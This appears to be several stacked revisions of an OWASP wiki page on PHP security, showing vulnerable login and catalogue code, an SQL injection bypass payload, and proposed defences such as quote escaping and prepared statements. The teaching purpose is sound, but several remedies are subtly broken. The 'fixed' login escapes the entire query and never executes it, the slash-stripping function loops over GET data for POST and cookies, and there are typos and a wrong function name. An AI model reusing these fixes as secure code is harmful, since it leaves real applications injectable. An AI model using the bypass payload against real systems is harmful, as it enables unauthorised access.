Prepared Statements is the ability to preparse and generate an execution plan for SQL Queries. Such an execution plan will be instantiated with typed parameters. If params are of incorrect type or contains a nested query the execution of plan will fails.<br />
<br />
<nowiki><br />
<?php<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$link = mysqli_connect();<br />
<br />
$stmt = $link->stmt_init();<br />
if ($stmt->prepare("SELECT * FROM books WHERE ID =?")) {<br />
$stmt->bind_param("i",$id);<br />
$stmt->execute();<br />
<br />
/* Retrieves book entry and fill $aBook array */<br />
...<br />
...<br />
<br />
/* Free prepared statement allocated resources */<br />
$stmt->close();<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
<br />
/* MAIN */<br />
<br />
/* Cast GET 'id' variable to integer */<br />
$iID = (int)$_GET['id'];<br />
<br />
$aBookEntry = getBookByID($iID);<br />
<br />
if ($aBookEntry) {<br />
/* Display retrieved book entry */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
PHP Portable Data Objects emulate prepared statements for drivers with no natively supports. Here follows an example of prepared statements usage with PHP PDO<br />
<br />
<br />
'''Example using PDO:'''<br />
<nowiki><br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$oPdo = SQLConnect();<br />
<br />
if ($oPdo) {<br />
$stmt = $oPdo->prepare("SELECT * FROM books WHERE ID =?");<br />
$stmt->bindParam(1, $id, PDO::PARAM_INT);<br />
if ($smmt->execute()) {<br />
$aBook = $stmt->fetch(PDO::FETCH_ASSOC);<br />
}<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
</nowiki><br />
<br />
=== Data Validation ===<br />
<br />
=== Logging Errors ===<br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication Credentials ===<br />
<br />
=== Data Validation ===<br />
<br />
=== Logging Errors ===<br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =<br />
<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf<br />
* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project<br />
* PHP : "MySQL Improved Extension" - http://it2.php.net/manual/en/book.mysqli.php</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=30177OWASP Backend Security Project PHP Security Programming2008-06-02T22:58:16Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup all Database, or interact with DBMS underlying Operating System.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
When working with a DBMS through an authenticated connection application developers should be very carefull on how, and subsequently where, store authentication credentials to query such a backend engine. A configuration file with ''.inc'' extension should be avoided if left world wide readable by a web server since it's content can be easy retrieved. Such a issue can be easly fixed by:<br />
<br />
* Deny remote access to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
<br />
* Secure File Inclusion<br />
<nowiki><br />
<?php<br />
<br />
if (!defined('SECURITY_INCLUDE_TOKEN') || SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* php_value<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host “127.0.0.1”<br />
php_value mysql.default_user “owaspuser”<br />
php_value mysql.default_password “owasppassword”<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?><br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>''' rather than '''<nowiki>\'</nowiki>'''<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
Prepared Statements is the ability to preparse and generate an execution plan for SQL Queries. Such an execution plan will be instantiated with typed parameters. If params are of incorrect type or contains a nested query the execution of plan will fails.<br />
<br />
<nowiki><br />
<?php<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$link = mysqli_connect();<br />
<br />
$stmt = $link->stmt_init();<br />
if ($stmt->prepare("SELECT * FROM books WHERE ID =?")) {<br />
$stmt->bind_param("i",$id);<br />
$stmt->execute();<br />
<br />
/* Retrieves book entry and fill $aBook array */<br />
...<br />
...<br />
<br />
/* Free prepared statement allocated resources */<br />
$stmt->close();<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
<br />
/* MAIN */<br />
<br />
/* Cast GET 'id' variable to integer */<br />
$iID = (int)$_GET['id'];<br />
<br />
$aBookEntry = getBookByID($iID);<br />
<br />
if ($aBookEntry) {<br />
/* Display retrieved book entry */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
=== Data Validation ===<br />
<br />
=== Logging Errors ===<br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication Credentials ===<br />
<br />
=== Data Validation ===<br />
<br />
=== Logging Errors ===<br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =<br />
<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf<br />
* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project<br />
* PHP : "MySQL Improved Extension" - http://it2.php.net/manual/en/book.mysqli.php</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=30176OWASP Backend Security Project PHP Security Programming2008-06-02T22:11:35Z<p>Dbellucci: /* Prepared Statements */</p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup all Database, or interact with DBMS underlying Operating System.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
When working with a DBMS through an authenticated connection application developers should be very carefull on how, and subsequently where, store authentication credentials to query such a backend engine. A configuration file with ''.inc'' extension should be avoided if left world wide readable by a web server since it's content can be easy retrieved. Such a issue can be easly fixed by:<br />
<br />
* Deny remote access to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
<br />
* Secure File Inclusion<br />
<nowiki><br />
<?php<br />
<br />
if (!defined('SECURITY_INCLUDE_TOKEN') || SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* php_value<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host “127.0.0.1”<br />
php_value mysql.default_user “owaspuser”<br />
php_value mysql.default_password “owasppassword”<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?><br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>''' rather than '''<nowiki>\'</nowiki>'''<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
Prepared Statements is the ability to preparse and generate an execution plan for SQL Queries. Such an execution plan will be instantiated with typed parameters. If params are of incorrect type or contains a nested query the execution of plan will fails.<br />
<br />
<nowiki><br />
<?php<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$link = mysqli_connect();<br />
<br />
$stmt = $link->stmt_init();<br />
if ($stmt->prepare("SELECT * FROM books WHERE ID =?")) {<br />
$stmt->bind_param("i",$id);<br />
$stmt->execute();<br />
<br />
/* Retrieves book entry and fill $aBook array */<br />
...<br />
...<br />
<br />
/* Free prepared statement allocated resources */<br />
$stmt->close();<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
<br />
/* MAIN */<br />
<br />
/* Cast GET 'id' variable to integer */<br />
$iID = (int)$_GET['id'];<br />
<br />
$aBookEntry = getBookByID($iID);<br />
<br />
if ($aBookEntry) {<br />
/* Display retrieved book entry */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
=== Data Validation ===<br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication Credentials ===<br />
<br />
=== Data Validation ===<br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =<br />
<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf<br />
* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project<br />
* PHP : "MySQL Improved Extension" - http://it2.php.net/manual/en/book.mysqli.php</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=30174OWASP Backend Security Project PHP Security Programming2008-06-02T22:05:30Z<p>Dbellucci: /* References */</p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup all Database, or interact with DBMS underlying Operating System.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
When working with a DBMS through an authenticated connection application developers should be very carefull on how, and subsequently where, store authentication credentials to query such a backend engine. A configuration file with ''.inc'' extension should be avoided if left world wide readable by a web server since it's content can be easy retrieved. Such a issue can be easly fixed by:<br />
<br />
* Deny remote access to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
<br />
* Secure File Inclusion<br />
<nowiki><br />
<?php<br />
<br />
if (!defined('SECURITY_INCLUDE_TOKEN') || SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* php_value<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host “127.0.0.1”<br />
php_value mysql.default_user “owaspuser”<br />
php_value mysql.default_password “owasppassword”<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?><br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>''' rather than '''<nowiki>\'</nowiki>'''<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
Prepared Statements is the ability to preparse and generate an execution plan for SQL Queries. Such an execution plan will be instantiated with typed parameters. If params are of incorrect type or contains a nested query the execution of plan will fails.<br />
<br />
<nowiki><br />
<?php<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$link = mysqli_connect();<br />
<br />
$stmt = $link->stmt_init();<br />
if ($stmt->prepare("SELECT * FROM books WHERE ID =?")) {<br />
$stmt->bind_param("i",$id);<br />
$stmt->execute();<br />
<br />
/* Retrieves book entry and fill $aBook array */<br />
...<br />
...<br />
<br />
/* Free prepared statement allocated resources */<br />
$stmt->close();<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
<br />
/* MAIN */<br />
<br />
/* Cast GET 'id' variable to integer */<br />
$iID = (int)$_GET['id'];<br />
<br />
$aBookEntry = getBookByID($iID);<br />
<br />
/* Display retrieved book entry */<br />
<br />
?><br />
</nowiki><br />
<br />
=== Data Validation ===<br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication Credentials ===<br />
<br />
=== Data Validation ===<br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =<br />
<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf<br />
